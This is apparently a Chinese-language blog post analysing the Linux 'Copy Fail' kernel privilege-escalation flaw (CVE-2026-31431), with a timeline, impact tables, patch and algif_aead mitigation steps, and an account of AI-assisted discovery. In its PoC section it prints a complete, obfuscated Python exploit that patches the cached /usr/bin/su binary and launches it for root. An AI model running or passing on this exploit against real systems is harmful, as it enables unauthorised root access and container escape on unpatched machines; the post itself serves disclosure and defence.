CVE-2026-31431 Linux Copy Fail 史诗级提权漏洞分析

3 阅读5分钟

CVE-2026-31431 Linux Copy Fail 史诗级提权漏洞分析

本文存在AI生成内容(漏洞技术流程分析)


时间线

日期事件
2011AF_ALG 套接字引入内核,向非特权用户态暴露加密子系统
2017内核提交引入原地操作优化
2026-03-23Theori 研究员 Taeyang Lee 向 Linux 内核安全团队报告漏洞
2026-04-01修复补丁合并至 Linux 主线内核
2026-04-22CVE-2026-31431 正式分配
2026-04-29公开披露,PoC 发布
2026-04-30各主流发行版开始推送补丁

危害性

指标详情
CVSS7.8 (High,CNA 初始评估,NVD 官方 enrich 尚未完成)
利用成功率100%,无需竞争条件
影响范围2017 年以来几乎所有主流 Linux 发行版
Payload732 字节 Python 脚本
磁盘痕迹无持久磁盘修改 — 仅污染内存页缓存,绕过 inotify;但 AIDE / Tripwire 等工具在污染窗口期内通过 read() 读取页缓存时可发现哈希异常
容器逃逸页缓存全局共享,容器内触发、宿主机生效

与历史内核 LPE 漏洞的对比:

特性Dirty Cow (2016)Dirty Pipe (2022)Copy Fail (2026)
竞争条件需要不需要不需要
影响版本特定版本5.8+2017+ 全部主流发行版
利用代码复杂复杂10 行 Python
磁盘痕迹

容器与云环境的致命威胁

场景风险描述
共享主机 / K8s 节点页缓存是宿主机与所有容器全局共享的,容器 A 内修改的 su 缓存页直接污染宿主机
CI/CD RunnerGitHub Actions / GitLab CI 自建 runner 中执行不可信 PR 代码,直接触发提权
取证困难攻击后页缓存会在自然 I/O 压力下被正常内容覆盖,无持久痕迹

PoC 示例

完整利用代码已公开于 theori-io/copy-fail-CVE-2026-31431仅供授权环境下的安全研究与防御验证,严禁非法利用。

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

核心原理一句话splice() 传递只读文件的页缓存引用 → AF_ALG 原地优化让只读页被当作可写输出缓冲区 → authencesn 越界写 4 字节修改页缓存中的 su 机器码。修改的是内存中的页缓存,不是磁盘文件,因此不触发 inotify;AIDE / Tripwire 等完整性工具在污染窗口期内通过 read() 读取页缓存时可能发现哈希异常,但磁盘原始文件始终未被改动,重启或缓存回收后恢复正常。


解决方法

截至 2026 年 4 月 30 日,官方补丁已发布。请务必第一时间升级内核!

永久修复:升级内核

sudo apt update && sudo apt upgrade linux-image-generic
sudo reboot

sudo dnf update kernel
sudo reboot

临时缓解(无法立即重启时)

禁用 algif_aead 内核模块,直接消除攻击面:

echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead 2>/dev/null || true

验证禁用状态

lsmod | grep algif_aead    # 应无输出
cat /etc/modprobe.d/disable-algif.conf

注意:禁用 algif_aead 仅影响通过 AF_ALG 套接字使用 AEAD 加密的用户态应用。大多数 Web、数据库、容器工作负载不依赖此接口,影响有限。若运行了依赖内核 AEAD socket 的加密软件(如某些 IPsec VPN 配置),请先在测试环境验证。


AI 解析问题根源流程

Copy Fail 由 Theori 的 Xint Code(AI 辅助代码审计工具)在约 1 小时自动扫描中定位。关键洞察 —— "splice() 可将只读页缓存送入 crypto TX scatterlist" —— 来自人类研究员 Taeyang Lee,AI 在此基础上完成了大规模代码扫描与攻击链推理:

graph TD
    A["研究员输入提示词:<br>splice() 可将只读页缓存送入 crypto TX scatterlist"] --> B["AI 扫描 algif_aead.c 及关联代码路径"]
    B --> C["AI 识别 2017 年原地优化提交 72548b093ee3:<br>输入/输出 scatterlist 指向同一内存位置"]
    C --> D["AI 遍历所有 AEAD 算法实现<br>发现 authencesn 存在输出缓冲区越界写行为"]
    D --> E["AI 构建完整攻击链:<br>splice() 获取只读页缓存引用 → AF_ALG 加密管道 → authencesn 越界写 → 修改页缓存"]
    E --> F["研究员基于 AI 分析结果构建 PoC 验证<br>732 字节 Python 脚本成功提权至 root"]
    F --> G["人类研究员审核确认<br>报告 Linux 内核安全团队"]

三个独立"合理优化"的致命交集:

变更时间初衷副作用
AF_ALG 套接字2011向用户态暴露内核加密能力普通用户无需特权即可创建加密会话
splice() 零拷贝-避免数据拷贝到用户态可直接传递只读文件的页缓存引用
algif_aead 原地优化2017提升 AEAD 运算性能只读页缓存页被当作可写输出缓冲区

这意味着什么? 三个单独看都没问题的内核设计,拼在一起就变成了无需竞争、一次执行必定成功、全发行版通杀的提权核弹 💣


参考链接

CVE-2026-31431 Linux Copy Fail 史诗级提权漏洞分析

作者:xingwangzhe

本文链接: xingwangzhe.fun/posts/cve-2…

本文采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。